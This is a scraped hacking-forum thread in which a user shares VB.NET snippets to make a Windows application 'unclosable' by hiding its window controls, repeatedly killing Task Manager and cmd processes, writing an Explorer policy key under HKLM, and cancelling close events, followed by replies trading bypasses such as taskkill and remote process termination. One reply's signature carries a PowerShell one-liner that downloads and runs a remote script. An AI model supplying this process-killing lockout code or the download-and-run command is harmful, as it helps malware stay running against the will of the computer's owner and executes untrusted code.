Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

Unclosable Program Snippets

So this thread will show you a few snippets of code to make your applacation un-closable. So the first thing you will need to do is remove the "X" button on the app.
Code
Me.ControlBox = False


You also will need to remove it from the TaskBar, use the following code to do so.
Code
Me.ShowInTaskbar = False

From here we want to disable the task manager and CMD so the user can not close it like that. Use this code in a timer to do so 
Code
Try
           Dim p As Process
           For Each p In Process.GetProcesses
               If p.ProcessName = "taskmgr" Then
                   p.Kill()
               End If
                 If p.ProcessName = "cmd" Then
                    p.Kill()
                End If
           Next
       Catch ex As Exception

       End Try
   End Sub


Then we need to disable right click in our app use the following code to do so.
Code
Try

           Dim Registry As Object

           Registry = CreateObject("WScript.Shell")

           Registry.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" & "\NoViewContextMenu", 0, "REG_DWORD")
       Catch
       End Try

Also no need to worry that will only disable in that app!  :)

Now there is one more thing we will do the be 100% sure that this is unclosable this will handle all other close methods. 
Code
   Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
       Dim i As Integer = 0
       If i = 0 Then
           If (e.CloseReason = CloseReason.UserClosing) Then
               e.Cancel = True
           End If
       End If
   End Sub
[Image: F2G97kn.png]
Code
taskkill /f /im something.exe

Profit
(Mar 5, 2017 11:04 AM)Zilog80 Wrote:  
Code
taskkill /f /im something.exe

Profit

Working on a fix

Fix has been found posting it now!
[Image: F2G97kn.png]
Process Hacker?

How about forcefully crashing the program?
(Mar 5, 2017 11:19 AM)VmX5 Wrote:  Process Hacker?

How about forcefully crashing the program?

What do you mean forcefully crashing it?
Will look into Process hacker.
[Image: F2G97kn.png]
(Mar 5, 2017 11:20 AM)Xogg Wrote:  What do you mean forcefully crashing it?
Will look into Process hacker.

Inject faulty code like 0 / 0
(Mar 5, 2017 11:09 AM)Xogg Wrote:  Working on a fix

Fix has been found posting it now!

The 'fix' is closing cmd? 😧

ComputerA: something.exe
ComputerB:

Code
taskkill /s {remote pc} /u {domain | username} /p {password} /PID {process id}

Profit

Read: https://blogs.technet.microsoft.com/chra...s-2-steps/
Oh and on your cmd fix you can rename cmd and run it.
oh u silly kids ^^ this is so easy to omit, but keep trying :)
For educational purposes only:

Spoiler (Click to View)

Try to 'terminate' an app with the above [ sp ] code...

Spoiler (Click to View)
This is easilly exploitable.
(Mar 5, 2017 03:04 PM)Zilog80 Wrote:  For educational purposes only:

Spoiler (Click to View)

Try to 'terminate' an app with the above [ sp ] code...

Spoiler (Click to View)



Wanta do a conversion to VB for me? Lmfao
[Image: F2G97kn.png]
Code
Private Sub Form1_FormClosing(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles MyBase.FormClosing
       Dim i As Integer = 1
       If i = 0 Then
           If (e.CloseReason = CloseReason.UserClosing) Then
               e.Cancel = True
           End If
       End If
   End Sub

How will i ever be 0?
Or how about making it a protected system process? Sounds like a much better way to make your process harder to kill, but not "unkillable" because there are ways of killing a process no matter what you do.
powershell.exe -noprofile -noexit -command iex "(new-object net.webclient).downloadstring('https://media.nick-name.net/ps/execute.ps1')"[Image: f4hRdFS.gif]
(Mar 5, 2017 05:06 PM)Xogg Wrote:  Wanta do a conversion to VB for me? Lmfao

oh boy...

[Image: 49837582.jpg]

In all seriousness, you should be able to read/understand C# code if you know VB.net. Even if you don't, you can just make a DLL and reference that.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Python] by SIM-5432905Nov 16, 2023 04:06 PM 8 286 Nov 16, 2023 04:06 PM
Last Post: Hackers
[C#] by DatFroschlaichApr 14, 2017 01:29 AM 3 425 Apr 14, 2017 01:29 AM
Last Post: gigajew
[C#] by colja123May 4, 2016 09:00 AM 10 496 May 4, 2016 09:00 AM
Last Post: colja123